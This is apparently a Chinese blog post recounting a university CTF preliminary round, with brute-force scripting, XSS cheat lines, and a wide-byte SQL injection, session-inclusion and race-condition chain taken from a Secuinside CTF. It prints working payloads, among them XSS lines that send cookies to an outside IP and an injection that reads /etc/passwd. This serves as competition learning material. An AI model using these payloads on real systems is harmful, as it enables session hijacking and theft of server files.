杭电第四届网络攻防大赛(蛋疼的初赛)

最近比赛比较多的,在老战友kun和小强的邀请下,参加了这个比赛,主要是也想去杭州游玩一番,顺便省下交通费用,之前不曾去过杭州,听说西湖很大,隔岸不见牛马

之前与旧友交谈,推荐了几家菜馆,不过兴致不大。记得去天津时,初夏的夜晚海河边蛙噪虫鸣,隔三差五的便有带着大沿帽子的人在钓鱼,鱼篓里收获或多或少,手提的灯发出淡黄色的光,这就吧河堤上的我隔开成了两个境界,所以决心这次如果到杭州边一定要找个阳光好的日子去西湖边钓鱼,还要在苏堤架上火锅,边吃边钓,何等的逍遥快活。


这次初赛题出的有些意思,不过难度还好,分数机制也很巧妙,总之是不错的比赛,因为平常没有涉及破解方面的知识,所以记录下几道渗透方面的题,

鸟叔这道题其实是考察一个脚本的编写,分别是post和get两种提交的方法,脚本语言的编写效率果然很高

import urllib
import httplib
import time
from re import search
for i in range(140,151):
	url='http://lab.sh1n3.cn/howmany.php'

	#POST	
	headers = {'Host': 'lab.sh1n3.cn',
		   'Connection': 'keep-alive',
		   'Content-Length': '24',
		   'Cache-Control': 'max-age=0',
		   'Origin': 'http://lab.sh1n3.cn',
		   'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) 
Chrome/19.0.1084.52 Safari/536.5',
		   'Content-Type': 'application/x-www-form-urlencoded',
		   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Referer': 'http://lab.sh1n3.cn/howmany.php',
                   'Accept-Encoding': 'gzip,deflate,sdch',
                   'Accept-Language': 'zh-CN,zh;q=0.8',
                   'Accept-Charset': 'GBK,utf-8;q=0.7,*;q=0.3',
                   'Cookie': 'cookie_mark=1351955165'}  
	
	postData = {'answer' : i,'submit':'Submit'}    
	postData = urllib.urlencode(postData)
	
	conn = httplib.HTTPConnection('lab.sh1n3.cn', 80)  
	conn.request('POST','/howmany.php',postData,headers)
	res = conn.getresponse()
	data = res.read()
	print res.reason
	print i
	if search('How many developers?',data):
		print 'normal'
	if search('Fast',data):
		print 'Fast'
	if search('key',data):
		print 'key'
		print data
		break
	
	'''
	#Get
	getData=[('answer',i),('submit','Submit')]
	url = url + "?" + urllib.urlencode(getData)
	x=urllib.urlopen(url)
	y=x.read()
	x.close()
	print i
	print url
	print y
	 
	if len(y)!=431:
		print 'ok'
		exit(0)
	if search('How many developers?',y):
		print 'normal'
	if search('Fast',y):
		print 'Fast'
	if search('key',y)
		print 'key'
		print data
	'''
	time.sleep(1)

莫言这道题考察了一个xss的典型窃取cookie在进行cookie欺骗的套路,不过他需要一台外网的服务器。

下面是几种常用的xss的语句

相对目录转跳

javascript:window.open("showkey.php");
<script>location='/showkey.php';</script>
<script>location='/hacker2/showkey.php';</script> 

一般用来测试cookie是否能读取

<script>alert(document.cookie)</script>   
<script>document.write(document.cookie);</script>

窃取cookie,需要外网ip,第三条如果没有过滤理论上什么都可以写

<img src="'http://112.67.131.63/cookie/cookie.php?cookie=escape(document.cookies)" width=0 height=0 border=0 />
<script>document.location='http://112.67.131.63/cookie/cookie.php?cookie=escape(document.cookie);</script>
<SCRIPT SRC=http://112.67.131.63/cookie/cookie.js></SCRIPT>

最后渗透第三关比较变态,在给出了源码的情况下依然没有什么头绪

源代码如下,默认编码格式为utf-8

<html>
<head><title>Penetration</title>
	<meta charset="utf-8"/>
</head>

<?php
if($_GET[view])
{
	$con = mysql_connect("127.0.0.1","root","nihaoa");
	if (!$con)
  	{
  		die('Could not connect: ' . mysql_error());
  	}



	$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');
	echo ("$_GET[view]<br>");
	echo (preg_replace('/(.)/es',"str_pad(dechex(ord('\\1')),2,'0',STR_PAD_LEFT)",$_GET[view]));
	echo ("<br>");
	if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])){
		exit("Access Denied");
	}
	if(strlen($_GET[view])>17)
		exit("Access Denied");
	echo ("select * from test where id='$_GET[view]' and num='$_GET[stat]'<br></td></tr>");
	$q=mysql_fetch_array(mysql_query("select * from test.test where id='$_GET[view]'",$con));
	echo ("</td><td>ID : $q[0]<br>Title : $q[1]<br>Timestamp : $q[2]<br>Content : $q[3]</td></tr>");
}
?>


根据这一句,判断出应该是一个宽字节注入的考察,在转换之前view参数被当作euc-kr来解码,然后转换成utf-8
$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');

在默认情况下 PHP 的magic_quotes_gpc为on 对所有的get post cookie提交的参数执行addslashes(),在单引号等符号之前加转义的反斜杠

我们可以利用宽字节注入来绕过这种转义,

这个宽字节主要是利用双字节编码的第二个字节包含5c这个值,和前面的字节组成一个汉字,

但是对于utf-8的编码由于其双字节编码的第二位不包含5c,所以不能用双字节注入

Unicode符号范围 | UTF-8编码方式
(十六进制) | (二进制)
--------------------+---------------------------------------------
0000 0000-0000 007F | 0xxxxxxx
0000 0080-0000 07FF | 110xxxxx 10xxxxxx
0000 0800-0000 FFFF | 1110xxxx 10xxxxxx 10xxxxxx
0001 0000-0010 FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

代码里还加入了一些过滤,过滤了空格括号,以及一些关键词,eregi的i代表了ignore忽略大小写,以及参数的长度也做了限制,

因为ereg这个函数支持正则,所以括号要用反斜杠做转义

if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])){
		exit("Access Denied");
	}
	if(strlen($_GET[view])>17)
		exit("Access Denied");

绕过空格过滤可以用括号,与大括号

select(id)from[name]
也可以用以下编码绕过空格,网上很多 + %2b  能代替空格,但是+在浏览器下就直接被解释成%20了,根本起不到绕过作用。

nt %09 vt %0b  nl %0a  er %0d

根据以上思路构造出了简单的注入语句,%23 # 注释后面的字符,使用--%0d也可以

http://112.67.131.16/test/view.php?view=%d5'or%0did=1%23

不过下面的思路却被 17 个字节的长度限制卡死了,虽然知道要使用load_file来读取文件,但是长度不够,而且括号也被过滤,

想使用%00做字符串截断,发现会被转换成\0




后来发现他是一道Secuinside CTF之中的题目,有一个外国人给出了题解,主办方竟然原封不动的把这道题照抄上了,真是很不负责任。

不过这里对原作的思路很是敬佩,这里把地址贴上http://www.tuicool.com/articles/BzAF32


原作构造的语句,%5c会被变成%5c%5c,这样第一个参数就变成(%bf%5c)%5c,这第二个%5c转意掉后面的引号

这样就直接能从第二个参数上构造注入语句,因为第二个参数没有做任何过滤··所以····

/index.php?view=%bf%5C
&stat=+union+select+1,user(),version(),4,5,6,7--+-
这样的话sql语句就变成这样,引号被转义,两个变量变成一个查询,神来之笔

where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));
解决这道题的话要使用一个··upload_file(),函数中可以使用Hex和chr()来逃避单引号,不过在这里无所谓

/index.php?view=%bf%5C
&stat=+union+select+1,user(),version(),4,5,6,7--+-

/index.php?view=%bf%5C
&stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7--+-

这样就成功了,怎么说那·······像是一件艺术品,令人惊叹,回想起来爱穿裤衩的江海客说的“正是对无知的畏惧才让我对技术有如此的追求”,最近渐渐找到一些恐惧的影子了,

原来我才刚刚开始啊。


去http://ctf.secuinside.com/about.php看了一下,是一个韩国的比赛,也是渗透和破解两部分,渗透分为三关,第一关就是上面的注入,


第二关是一个,文件包含漏洞,源代码依然被给出了,session内容会被存在一个文件之中,一般会以sess_作为前缀,

一般情况下sessionID是以MD5加码之后存在cookie里面的,一些页面根据session里的值来决定显示内容,这里吧session文件包含进来,

应该只是为题目服务,并没有实际意义。

在文件之中session的值是顺序列出,这题的思路是吧php代码写入session文件之中,被include执行之后达到插入代码的目的。

<?php
session_start();    //在此页面中与其他页面共用session

if(eregi('[0-9]', $_SESSION['PHPSESSID']))
	exit;
if(eregi('/|\.', $_SESSION['PHPSESSID']))
	exit;

include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']);   //参数被带入include有文件包含的机会
?>

上一题页面中与本题有关的代码,extract()这个函数是问题所在,他会把$_GET展开并赋值

<?
@session_start(); include "conn.php";
extract($_GET);
?>

所以这样构造参数的话,会给_SESSION[PHPSESSID]赋值,从而影响到第二关的页面。

/index.php?_SESSION[PHPSESSID]=reiners
Cookie: PHPSESSID=reiners
如果这样构造代码,便可以列出本地的所有文件

/index.php?_SESSION[PHPSESSID]=reiners
&_SESSION[CODE]=<?print_r(glob(chr(42)))?>
Cookie: PHPSESSID=reiners


这样就找到了第三关的地址,第三关是一个Race condition,代码如下

<?
system("echo '????' > readme/ppppaassssswordddd.txt");
?>
<h1><a href=passwordddddddddddddddd.phps>source</a></h1>
<?
system("rm -f readme/ppppaassssswordddd.txt");
?>

文件建立后会立即被删除,不过只要用第二关的方法插入以下代码就可以了,多访问几次,答案就会出来

<?php
while(!($a=file_get_contents(
chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).chr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).chr(120).chr(116))
)){}print_r($a)
?>

使用head request也可以使php停止在第一个输出的地方,但没有仔细研究

https://students.mimuw.edu.pl/~ai292615/php_head_trick.pdf



最后作者说,虽然没有做这个比赛,不过我也觉得棒子出的题还是很好的
A very nice challenge with several steps, thank you to the author! 



比赛结束,在和另外一队狼狈为奸的情况下,得到第十的成绩,不知道该失落还是高兴,总之静待决赛吧。




你可能感兴趣的:(杭电第四届网络攻防大赛(蛋疼的初赛))